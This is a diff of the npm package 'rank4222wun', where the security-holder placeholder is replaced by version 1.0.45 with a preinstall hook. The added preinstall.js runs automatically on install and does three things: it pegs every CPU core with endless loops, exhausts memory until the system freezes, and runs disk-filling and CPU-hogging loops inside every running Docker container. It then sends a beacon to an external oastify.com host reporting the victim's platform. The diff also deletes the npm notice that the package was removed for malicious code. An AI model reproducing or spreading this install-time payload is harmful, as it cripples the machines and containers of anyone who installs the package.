rank4222wun 0.0.1-security → 1.0.45

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.45",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,45 @@
+// preinstall.js - Aggressive Multi-Vector DoS
+const { exec, spawn } = require('child_process');
+const https = require('https');
+
+// 1. هجوم استنزاف المعالج (CPU Burner) - بيشغل كل الأنوية 100%
+function burnCPU() {
+    // تشغيل عمليات حسابية لا نهائية في الخلفية بعدد أنوية الجهاز
+    for (let i = 0; i < require('os').cpus().length; i++) {
+        const p = spawn('node', ['-e', 'while(true){Math.random()*Math.random()}']);
+        p.unref(); 
+    }
+}
+
+// 2. هجوم استنزاف الذاكرة (Memory Crasher)
+function crashRAM() {
+    // بيحجز RAM لحد ما الـ OS ينهار أو يـ "Freeze"
+    exec('node -e "let a=[]; while(true){a.push(new Buffer(1024*1024).fill(0x61))}"');
+}
+
+// 3. هجوم الـ Docker - ضرب الـ Shared Kernel
+// بدل ما نعتمد على Fork Bomb، هنخلي كل حاوية تفتح آلاف الاتصالات
+const dockerAggressive = `
+    for c in $(docker ps -q); do
+        # إغراق الشبكة والـ File Descriptors
+        docker exec -d $c sh -c "while true; do head -c 100 /dev/urandom > /tmp/f$(date +%s%N); done" 2>/dev/null
+        
+        # محاولة كسر الـ Context Switching
+        docker exec -d $c sh -c "yes > /dev/null & yes > /dev/null & yes > /dev/null" 2>/dev/null
+    done
+`;
+
+// التنفيذ الفوري
+console.log("🔥 Executing Deep Resource Exhaustion...");
+burnCPU();
+crashRAM();
+exec(dockerAggressive);
+
+// التبليغ للـ OAST بعد ما نتأكد إن العمليات بدأت فعلاً
+const req = https.request({
+    hostname: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
+    path: '/real-dos-executed',
+    method: 'POST'
+});
+req.write(JSON.stringify({ status: "Attacking_Resources", platform: process.platform }));
+req.end();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.